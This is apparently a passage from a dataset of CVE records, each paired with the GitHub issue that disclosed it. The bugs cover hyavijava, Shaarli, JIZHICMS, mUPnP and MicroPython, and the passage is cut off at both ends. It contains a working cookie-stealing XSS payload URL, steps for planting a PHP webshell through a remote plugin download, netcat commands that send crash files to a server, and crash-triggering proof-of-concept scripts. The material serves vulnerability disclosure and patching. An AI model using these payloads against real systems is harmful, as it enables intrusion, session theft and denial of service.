at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
```
## PoC
```xml
<dependency>
<groupId>com.github</groupId>
<artifactId>hyavijava</artifactId>
<version>6.0.07.1</version>
</dependency>
```
```java
import org.junit.Test;
import com.vmware.vim.rest.*;
public class ResultConverterFuzzerConvert2Xml {
@Test
public void convert2XmlFuzzerTest() {
try {
String result = ResultConverter.convert2Xml("\u0015'\u0015\u0015\u0015\u0015<<tr>\u0015<tr><'\u0015td></ta\u0015'\u0015\u0015td>$</tab</ta\u0015'\u0015\u0015\u0015\u0015<<trbl>ler>\u0015\u0015\uF577\uFFD5<tr><'\u0015$</tabler>\u0015\u0015\uF577\u0015\u0015\u0015<<tr>\u0015<t</td></t\u0015a\u0015'\u0015\u0015\u0015\u0015<<trbl>\u0015<tr><'\u0015$<</tabler>\u0015\u0015\uF555\u0015<<t");
} catch (Exception e) {
}
}
}
```
| An StackOverflowError occurs when I execute the ResultConverter.convert2Xml method in hyavijava v6.0.07.1 | https://api.github.com/repos/PoppingSnack/VulReport/issues/12/comments | 0 | 2023-12-14T09:31:44Z | 2023-12-14T09:31:44Z | https://github.com/PoppingSnack/VulReport/issues/12 | 2,041,298,213 | 12 | 5,862 |
CVE-2023-49469 | 2023-12-28T06:15:44.340 | Reflected Cross Site Scripting (XSS) vulnerability in Shaarli v0.12.2, allows remote attackers to execute arbitrary code via search tag function. | {
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"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
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"url": "https://github.com/shaarli/Shaarli/issues/2038"
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{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/shaarli/Shaarli/releases/tag/v0.13.0"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/shaarli/Shaarli/issues/2038"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/shaarli/Shaarli/releases/tag/v0.13.0"
}
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"79"
] | 79 | https://github.com/shaarli/Shaarli/issues/2038 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"shaarli",
"Shaarli"
] | Version v0.12.2
I have identified a Reflected Cross-site Scripting (XSS) vulnerability that could potentially be exploited by attackers to execute malicious code within the context of a user’s web browser.
The vulnerability occurs when unsanitized user input is directly embedded into the HTML output of the search tag functionality without proper encoding or validation. This allows an attacker to craft a specially crafted URL containing malicious JavaScript code, which, when clicked by another user, will be executed within their browser, potentially leading to unauthorized access, session hijacking, or other malicious activities.
Payload：
```
https://demo.shaarli.org/?searchterm=&searchtags=%3C%2Ftitle%3E%3Csvg%2Fonload%3Dalert%28document.cookie%29%3E++
```
<img width="745" alt="image" src="https://github.com/shaarli/Shaarli/assets/579103/ecfee44f-27a9-4870-acf7-dd0bbd1ab731">
I want to apply for a CVE ID. I’m not sure if it’s possible.
| Reflected XSS Vulnerability in Search Tag | https://api.github.com/repos/shaarli/Shaarli/issues/2038/comments | 3 | 2023-11-22T12:56:24Z | 2023-11-22T16:56:42Z | https://github.com/shaarli/Shaarli/issues/2038 | 2,006,285,430 | 2,038 | 5,863 |
CVE-2023-50692 | 2023-12-28T06:15:44.400 | File Upload vulnerability in JIZHICMS v.2.5, allows remote attacker to execute arbitrary code via a crafted file uploaded and downloaded to the download_url parameter in the app/admin/exts/ directory. | {
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
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} | [
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"434"
] | 434 | https://github.com/Cherry-toto/jizhicms/issues/91 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"Cherry-toto",
"jizhicms"
] | **Vulnerability recurrence：**
1. Construct a PHP sentence and then compress it in zip format through the compressed package
2. Upload the zip to the VPS server and use python on the VPS to start an http service
3. Log in to the website backend, find Extension Management -> Plug-in List, and search for an uninstalled plug-in to download in the operations on the right side of the page (and capture packets through Burp at the same time)
4. Copy the URL of the compressed package file on the VPS, replace the download_url parameter with the zip link address on your VPS, and release the packet (but do not turn off interception, because there are still several packet URLs that need to be replaced)
Such as：
5. Then repeat this operation to replace all the urls originally specified to down.jizhicms.cn
You can see that this request was returned on the VPS
6. Then visit the vulnerable website, the directory is /app/admin/exts/ plus the file name of the PHP one-sentence Trojan constructed in the first step
**Vulnerability analysis:**
In the update method in the file located at app/admin/c/PluginsController.php, $remote_url does not perform a security check on the url, which allows any zip file to be downloaded remotely and decompressed as can be seen in the code behind.
According to the code on line 719, we can know that the downloaded and decompressed file is stored under app/admin/exts
| JIZHICMS V2.5 has background Arbitrary File Downloads causing RCE | https://api.github.com/repos/Cherry-toto/jizhicms/issues/91/comments | 3 | 2023-12-10T17:23:12Z | 2024-08-27T12:40:18Z | https://github.com/Cherry-toto/jizhicms/issues/91 | 2,034,459,693 | 91 | 5,864 |
CVE-2023-52152 | 2023-12-28T23:15:44.197 | mupnp/net/uri.c in mUPnP for C through 3.0.2 has an out-of-bounds read and application crash because it lacks a certain host length recalculation. | {
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"source": "nvd@nist.gov",
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},
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"integrityImpact": "NONE",
"privilegesRequired": "NONE",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"type": "Secondary"
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},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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] | 125 | https://github.com/cybergarage/mupnp/issues/21 | [
"Exploit",
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] | github.com | [
"cybergarage",
"mupnp"
] | Note: this all based on latest master branch. I used default configure options except I built with ASAN when fuzzing
. Given that a basic HTTP server (which does not even consider the request) is affected, I assume anything that uses this HTTP library like the SOAP server for UPNP would also be affected.
I found out of bounds read errors and some cases where memcpy would be called with negative size. In the string tokenizer, because lastPos is a size_t and is calculated by doing strlen(value)-1, when the tokenizer was initialized with an empty value it would overflow. Some calculations are performed on indexes in uri.c that can result in a negative value are passed to mupnp_string_setvalue which results in a negative value being passed to memcpy.
These changes stopped the crashes:
```
diff --git a/src/mupnp/net/uri.c b/src/mupnp/net/uri.c
index 2f77bd5..6b181e0 100644
--- a/src/mupnp/net/uri.c
+++ b/src/mupnp/net/uri.c
@@ -9,6 +9,7 @@
*
******************************************************************/
+#include <string.h>
#include <mupnp/net/uri.h>
#include <mupnp/util/log.h>
#include <mupnp/util/string.h>
@@ -149,7 +150,8 @@ void mupnp_net_uri_setvalue(mUpnpNetURI* uri, const char* value)
mupnp_string_setnvalue(uri->user, value + currIdx, colonIdx);
mupnp_string_setnvalue(uri->password, value + currIdx + colonIdx + 1, atIdx - (colonIdx + 1));
}
- else
+ else if (atIdx >= currIdx)
+ // fix negative size memcpy
mupnp_string_setnvalue(uri->user, value + currIdx, atIdx - currIdx);
currIdx += atIdx + 1;
}
@@ -174,13 +176,16 @@ void mupnp_net_uri_setvalue(mUpnpNetURI* uri, const char* value)
/**** host ****/
mupnp_string_setnvalue(uri->host, mupnp_string_getvalue(hostStr), colonIdx);
host = mupnp_net_uri_gethost(uri);
+ // recalculate len to fix potential OOB read
+ hostLen = strlen(host);
if (0 < hostLen) {
if (host[0] == '[' && host[hostLen - 1] == ']')
mupnp_string_setnvalue(uri->host, mupnp_string_getvalue(hostStr) + 1, colonIdx - 2);
}
/**** port ****/
portStr = mupnp_string_new();
- mupnp_string_setnvalue(portStr, mupnp_string_getvalue(hostStr) + colonIdx + 1, hostLen - colonIdx - 1);
+ // fix negative size memcpy
+ mupnp_string_setnvalue(portStr, mupnp_string_getvalue(hostStr) + colonIdx + 1, (hostLen == colonIdx) ? 0: hostLen - colonIdx - 1);
uri->port = atoi(mupnp_string_getvalue(portStr));
mupnp_string_delete(portStr);
mupnp_string_delete(hostStr);
diff --git a/src/mupnp/util/string_tokenizer.c b/src/mupnp/util/string_tokenizer.c
index b9648dd..bbe9ee7 100644
--- a/src/mupnp/util/string_tokenizer.c
+++ b/src/mupnp/util/string_tokenizer.c
@@ -29,7 +29,10 @@ mUpnpStringTokenizer* mupnp_string_tokenizer_new(const char* value, const char*
strToken->delim = mupnp_strdup(delim);
strToken->delimCnt = mupnp_strlen(strToken->delim);
strToken->nextStartPos = 0;
- strToken->lastPos = mupnp_strlen(value) - 1;
+ // prevent size_t overflow
+ if ((strToken->lastPos = mupnp_strlen(value)) > 0) {
+ strToken->lastPos--;
+ };
strToken->currToken = NULL;
strToken->nextToken = NULL;
mupnp_string_tokenizer_nexttoken(strToken);
```
But the software hangs in some cases and I don't know enough about the architecture of it to really tell why.
If I build from master, without ASAN and without the patches I mentioned above (tested on Debian 12 and Void Linux with gcc 12.2.0), and then build this test http server:
```
#include <string.h>
#include <unistd.h>
#include <mupnp/http/http.h>
#define MUPNP_TESTCASE_HTTP_PORT 8080
#define MUPNP_TESTCASE_HTTP_PAGE "<HTML><BODY>Hello World</BODY></HTML>"
#define MUPNP_TESTCASE_HTTP_URL "/index.html"
void ClinkTestcaseHttpRequestRecieved(mUpnpHttpRequest* httpReq) {
mUpnpHttpResponse* httpRes;
httpRes = mupnp_http_response_new();
mupnp_http_response_setstatuscode(httpRes, MUPNP_HTTP_STATUS_OK);
mupnp_http_response_setcontent(httpRes, MUPNP_TESTCASE_HTTP_PAGE);
mupnp_http_response_setcontenttype(httpRes, "text/html");
mupnp_http_response_setcontentlength(httpRes, strlen(MUPNP_TESTCASE_HTTP_PAGE));
mupnp_http_request_postresponse(httpReq, httpRes);
mupnp_http_response_delete(httpRes);
}
int main(int argc, const char *const argv[]) {
mUpnpHttpServer* httpServer = mupnp_http_server_new();
mupnp_http_server_open(httpServer, MUPNP_TESTCASE_HTTP_PORT, NULL);
mupnp_http_server_setlistener(httpServer, ClinkTestcaseHttpRequestRecieved);
mupnp_http_server_start(httpServer);
while (1) {
sleep(1);
};
mupnp_http_server_stop(httpServer);
return EXIT_SUCCESS;
}
```
I get a segfault if I do:
```
$ nc 127.0.0.1 8080 < out/SIGABRT.PC.7ffff76a47dc.STACK.cbe64d865.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
```
I get a segfault if I do:
```
$ nc 127.0.0.1 8080 < out/SIGABRT.PC.7ffff76a47dc.STACK.1a4d1cc9b7.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
$ nc 127.0.0.1 8080 < out/SIGABRT.PC.7ffff76a47dc.STACK.1a4d1cc9b7.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
```
Here is report (see attached for crash files):
```
=====================================================================
TIME: 2023-12-28.15:00:26
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION: AddressSanitizer: heap-buffer-overflow on address 0x602000039571 at pc 0x555555563c85 bp 0x7fffc91ab780 sp 0x7fffc91ab770
ORIG_FNAME: 0b701e39ffca5fd9fead0a7c5558eba5.00004d2b.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.555555563c85.STACK.18f46012ff.CODE.-6.ADDR.0.INSTR.mov____-0x78(%rbp),%rax.fuzz
PID: 14033
SIGNAL: SIGABRT (6)
PC: 0x555555563c85
FAULT ADDRESS: 0x0
INSTRUCTION: mov____-0x78(%rbp),%rax
STACK HASH: 00000018f46012ff
STACK:
<0x0000555555563c84> [func:mupnp_string_tokenizer_nexttoken file:../../src/mupnp/util/string_tokenizer.c line:91 module:]
<0x0000555555564048> [func:mupnp_string_tokenizer_new file:../../src/mupnp/util/string_tokenizer.c line:35 module:]
<0x000055555556220e> [func:mupnp_http_packet_read_headers file:../../src/mupnp/http/http_packet.c line:364 module:]
<0x000055555555f359> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:740 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
=====================================================================
TIME: 2023-12-28.15:00:26
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION: AddressSanitizer: heap-buffer-overflow on address 0x6020000763d1 at pc 0x555555563c85 bp 0x7fffaa4307f0 sp 0x7fffaa4307e0
ORIG_FNAME: 8ce621921c127db7ffdcdfee4205831c.000090ca.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.555555563c85.STACK.1a4d1cc9b7.CODE.-6.ADDR.0.INSTR.mov____-0x78(%rbp),%rax.fuzz
PID: 14086
SIGNAL: SIGABRT (6)
PC: 0x555555563c85
FAULT ADDRESS: 0x0
INSTRUCTION: mov____-0x78(%rbp),%rax
STACK HASH: 0000001a4d1cc9b7
STACK:
<0x0000555555563c84> [func:mupnp_string_tokenizer_nexttoken file:../../src/mupnp/util/string_tokenizer.c line:91 module:]
<0x0000555555564048> [func:mupnp_string_tokenizer_new file:../../src/mupnp/util/string_tokenizer.c line:35 module:]
<0x000055555555f17c> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:706 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
=====================================================================
TIME: 2023-12-28.15:03:28
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION:
ORIG_FNAME: 0922b49fc7f2eda643ae7f915f4c4182.0000e088.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.7ffff76a47dc.STACK.1a4d1cc9b7.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
PID: 20076
SIGNAL: SIGABRT (6)
PC: 0x7ffff76a47dc
FAULT ADDRESS: 0x0
INSTRUCTION: mov____%eax,%ebp
STACK HASH: 0000001a4d1cc9b7
STACK:
<0x0000555555563c84> [func:mupnp_string_tokenizer_nexttoken file:../../src/mupnp/util/string_tokenizer.c line:91 module:]
<0x0000555555564048> [func:mupnp_string_tokenizer_new file:../../src/mupnp/util/string_tokenizer.c line:35 module:]
<0x000055555555f17c> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:706 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
=====================================================================
TIME: 2023-12-28.15:05:50
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION:
ORIG_FNAME: 016aefb90f31dc9fa8380ae9ccdffba8.00017f81.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.7ffff76a47dc.STACK.18f46012ff.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
PID: 24884
SIGNAL: SIGABRT (6)
PC: 0x7ffff76a47dc
FAULT ADDRESS: 0x0
INSTRUCTION: mov____%eax,%ebp
STACK HASH: 00000018f46012ff
STACK:
<0x0000555555563c84> [func:mupnp_string_tokenizer_nexttoken file:../../src/mupnp/util/string_tokenizer.c line:91 module:]
<0x0000555555564048> [func:mupnp_string_tokenizer_new file:../../src/mupnp/util/string_tokenizer.c line:35 module:]
<0x000055555556220e> [func:mupnp_http_packet_read_headers file:../../src/mupnp/http/http_packet.c line:364 module:]
<0x000055555555f359> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:740 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
=====================================================================
TIME: 2023-12-28.15:07:14
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION: AddressSanitizer: heap-buffer-overflow on address 0x602000012196 at pc 0x55555556a6eb bp 0x7fffdb4d1840 sp 0x7fffdb4d1830
ORIG_FNAME: 81e0e77432db3eecc1b20b5a4fe5e542.00000040.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.55555556a6eb.STACK.3bf1c84c9.CODE.-6.ADDR.0.INSTR.mov____-0x40(%rbp),%rdi.fuzz
PID: 26875
SIGNAL: SIGABRT (6)
PC: 0x55555556a6eb
FAULT ADDRESS: 0x0
INSTRUCTION: mov____-0x40(%rbp),%rdi
STACK HASH: 00000003bf1c84c9
STACK:
<0x000055555556a6ea> [func:mupnp_net_uri_setvalue file:../../src/mupnp/net/uri.c line:178 module:]
<0x000055555555f2de> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:729 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
=====================================================================
TIME: 2023-12-28.15:07:57
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION:
ORIG_FNAME: 6516e17094d9c1dd277f34631511e95d.00000104.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.7ffff76a47dc.STACK.3bf1c84c9.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
PID: 1093
SIGNAL: SIGABRT (6)
PC: 0x7ffff76a47dc
FAULT ADDRESS: 0x0
INSTRUCTION: mov____%eax,%ebp
STACK HASH: 00000003bf1c84c9
STACK:
<0x000055555556a6ea> [func:mupnp_net_uri_setvalue file:../../src/mupnp/net/uri.c line:178 module:]
<0x000055555555f2de> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:729 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
=====================================================================
TIME: 2023-12-28.15:08:38
=====================================================================
FUZZER ARGS:
mutationsPerRun : 5
externalCmd : NULL
fuzzStdin : FALSE
timeout : 3 (sec)
ignoreAddr : (nil)
ASLimit : 0 (MiB)
RSSLimit : 0 (MiB)
DATALimit : 0 (MiB)
wordlistFile : httpd.wordlist
dynFileMethod :
fuzzTarget : ./server
CRASH:
DESCRIPTION: AddressSanitizer: negative-size-param: (size=-1)
ORIG_FNAME: 1b6df3114644e8c40ad37f9df618687f.00000040.honggfuzz.cov
FUZZ_FNAME: out/SIGABRT.PC.7ffff76a47dc.STACK.cbe64d865.CODE.-6.ADDR.0.INSTR.mov____%eax,%ebp.fuzz
PID: 8307
SIGNAL: SIGABRT (6)
PC: 0x7ffff76a47dc
FAULT ADDRESS: 0x0
INSTRUCTION: mov____%eax,%ebp
STACK HASH: 0000000cbe64d865
STACK:
<0x00007ffff7848f4f> [func:__interceptor_memcpy file: line:0 module:/usr/lib/libasan.so.8+0x48f4f]
<0x0000555555562ef7> [func:mupnp_string_setnvalue file:../../src/mupnp/util/string.c line:147 module:]
<0x000055555556a3e0> [func:mupnp_net_uri_setvalue file:../../src/mupnp/net/uri.c line:153 module:]
<0x000055555555f2de> [func:mupnp_http_request_read file:../../src/mupnp/http/http_request.c line:729 module:]
<0x0000555555560bf8> [func:mupnp_http_server_clientthread file:../../src/mupnp/http/http_server.c line:186 module:]
<0x0000555555564359> [func:PosixThreadProc file:../../src/mupnp/util/thread.c line:169 module:]
<0x00007ffff76a2ae3> [func:start_thread file:nptl/pthread_create.c line:442 module:]
<0x00007ffff772393b> [func:clone3 file:../sysdeps/unix/sysv/linux/x86_64/clone3.S line:81 module:]
=====================================================================
```
Crash cases: [fuzz.zip](https://github.com/cybergarage/mupnp/files/13789453/fuzz.zip)
| Crashes in HTTP server found with fuzzing | https://api.github.com/repos/cybergarage/mupnp/issues/21/comments | 1 | 2023-12-28T21:05:35Z | 2023-12-30T04:36:23Z | https://github.com/cybergarage/mupnp/issues/21 | 2,058,820,284 | 21 | 5,865 |
CVE-2023-7152 | 2023-12-29T05:15:09.473 | A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function poll_set_add_fd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The patch is identified as 8b24aa36ba978eafc6114b6798b47b7bfecdca26. It is recommended to apply a patch to fix this issue. VDB-249158 is the identifier assigned to this vulnerability. | {
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] | 416 | https://github.com/micropython/micropython/issues/12887 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"micropython",
"micropython"
] | ## Environment
- **OS**: Ubuntu 22.04 64bit
- **Version**: micropython at commit db06041d59ef8d5524340c4d2c4490c8e770591f
- **Build**: unix standard build
- **Bug Type**: use-after-free
- **Bug location**: `micropython/extmod/modselect.c:151`
- **Detection Tool**: our custom tool, not disclosed yet
- **Credits**: Junwha Hong and Wonil Jang, from S2Lab in UNIST
## Problem Statement
The problem is from allocating fd for a poll object (poll_obj_t), at poll_set_add_fd because it frees previously allocated fds at m_renew.
it allocates a fd from the pre-allocated fd array if the `max_used` is not reached to `alloc`, but at the condition of `poll_set->max_used >= poll_set->alloc` , it reallocates whole array `poll_set->pollfds` by `m_renew`. it causes all accesses after m_renew as use-after-free, and we observed some fd is overlapped with an poll object, it will lead to unintended behavior of micropython, and can be used as a vulnerability by attackers in a way they try to malform an object or fd by using each other.
```bash
STATIC struct pollfd *poll_set_add_fd(poll_set_t *poll_set, int fd) {
struct pollfd *free_slot = NULL;
if (poll_set->used == poll_set->max_used) {
// No free slots below max_used, so expand max_used (and possibly allocate).
if (poll_set->max_used >= poll_set->alloc) {
poll_set->pollfds = m_renew(struct pollfd, poll_set->pollfds, poll_set->alloc, poll_set->alloc + 4);
poll_set->alloc += 4;
}
free_slot = &poll_set->pollfds[poll_set->max_used++];
} else {
// There should be a free slot below max_used.
for (unsigned int i = 0; i < poll_set->max_used; ++i) {
struct pollfd *slot = &poll_set->pollfds[i];
if (slot->fd == -1) {
free_slot = slot;
break;
}
}
assert(free_slot != NULL);
}
free_slot->fd = fd;
++poll_set->used;
return free_slot;
}
```
## Example (replication)
we found this bug by the following example, which is modified from the testcase of `select_poll_fd` in standard test provided by micropython.
`micropython -X emit=bytecode select_poll_fd.py`
```bash
# Test select.poll in combination with file descriptors.
print("----------------------------------------------------------------------------------------------------0")
try:
import select, errno
# select.poll # Raises AttributeError for CPython implementations without poll()
except (ImportError, AttributeError):
print("SKIP")
raise SystemExit
print("----------------------------------------------------------------------------------------------------1")
# Check that poll supports registering file descriptors (integers).
#try:
# select.poll().register(0)
#except OSError:
# print("SKIP")
# raise SystemExit
print("----------------------------------------------------------------------------------------------------2")
# Register invalid file descriptor.
#try:
# select.poll().register(-1)
#except ValueError:
# print("ValueError")
print("----------------------------------------------------------------------------------------------------3")
# Test polling stdout, it should be writable.
#poller = select.poll()
#poller.register(1)
#poller.modify(1, select.POLLOUT)
#print(poller.poll())
print("----------------------------------------------------------------------------------------------------4")
# Unregister then re-register.
#poller.unregister(1)
#poller.register(1, select.POLLIN)
print("----------------------------------------------------------------------------------------------------5")
# Poll for input, should return an empty list.
#print(poller.poll(0))
print("----------------------------------------------------------------------------------------------------6")
# Test registering a very large number of file descriptors.
poller = select.poll()
for fd in range(20):
poller.register(fd)
try:
poller.poll()
except OSError as er:
print(er.errno == errno.EINVAL)
```
By running this example,
1. a fd is allocated when `poll_set->pollfds` is 128 bytes region (which means that `poll_set->alloc` is 16)
2. `poll_set->alloc` is reallocated as 160 bytes (16+4 = 20) in different region, thus a previously allocated fd in freed
3. and the fd is referenced again at `poll_obj_get_revents` , but the region is now allocated as a poll object.
Note: the memory map can be different from pure version because our tool can modified the state of internal memory slightly. but it is obvious that this is an use-after-free.
## Patch
the simplest patch will be use renew_maybe with fixed flag as it is implemented at `parser_alloc`(micropython/py/parse.c:255)
## Log
```bash
#0 0x55555574a32c in poll_obj_get_revents /home/qbit/testing-2023/micropython/ports/unix/../../extmod/modselect.c:131:34
#1 0x55555574a32c in poll_poll /home/qbit/testing-2023/micropython/ports/unix/../../extmod/modselect.c:532:13
#2 0x5555557252e6 in mp_execute_bytecode /home/qbit/testing-2023/micropython/ports/unix/../../py/vm.c:1042:21
#3 0x5555556fc12e in fun_bc_call /home/qbit/testing-2023/micropython/ports/unix/../../py/objfun.c:273:42
#4 0x555555821546 in execute_from_lexer /home/qbit/testing-2023/micropython/ports/unix/main.c:160:13
#5 0x555555820a48 in main_ /home/qbit/testing-2023/micropython/ports/unix/main.c
#6 0x7ffff7c29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#7 0x7ffff7c29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#8 0x555555591854 in _start (/home/qbit/testing-2023/micropython/ports/unix/build-standard/micropython+0x3d854)
``` | Use After Free at modselect.c:151 | https://api.github.com/repos/micropython/micropython/issues/12887/comments | 3 | 2023-11-05T09:58:40Z | 2023-12-21T03:52:51Z | https://github.com/micropython/micropython/issues/12887 | 1,977,696,903 | 12,887 | 5,866 |
CVE-2023-7158 | 2023-12-29T07:15:11.060 | A vulnerability was found in MicroPython up to 1.21.0. It has been classified as critical. Affected is the function slice_indices of the file objslice.c. The manipulation leads to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.22.0 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-249180. | {
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"micropython",
"micropython"
] | # Summary
- **OS**: Ubuntu 22.04
- **version**: micropython@a00c9d56db775ee5fc14c2db60eb07bab8e872dd
- **port**: unix
- **contribution**: Junwha Hong and Wonil Jang @S2-Lab, UNIST
- **description**: `slice_indices` misinterpret float value as integer value, and leads to buffer overflow.
# PoC
```c
# A claan item key
class A:
def __getitem__(self, idx):
return idx
print(A()[:].indices(.0))
```
# Expected result from Python 3.10
```c
>>> # A claan item key
>>> class A:
... def __getitem__(self, idx):
... return idx
...
>>> print(A()[:].indices(.0))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'float' object cannot be interpreted as an integer
```
# Problem Statement
The problem occurs because the indices function does not handle float as an exception
## Allocation
The .0 is allocated as a 16-bytes object by `mp_obj_new_float` py/objfloat.c:197
In our debugging, the address range of this chunk is `[0x7fffef005760,0x7fffef005770)`.
## Access
At `slice_indices` py/objslice.c:57:23, it tries to interpret the length_obj as int.
```c
STATIC mp_obj_t slice_indices(mp_obj_t self_in, mp_obj_t length_obj) {
mp_int_t length = mp_obj_int_get_checked(length_obj);
```
Now, `mp_obj_int_get_checked` parameterizes `&self→mpz` into `mpz_as_int_checked`, which is 8-bytes offset from `self_in` , `0x7fffef005768`
```c
mp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) {
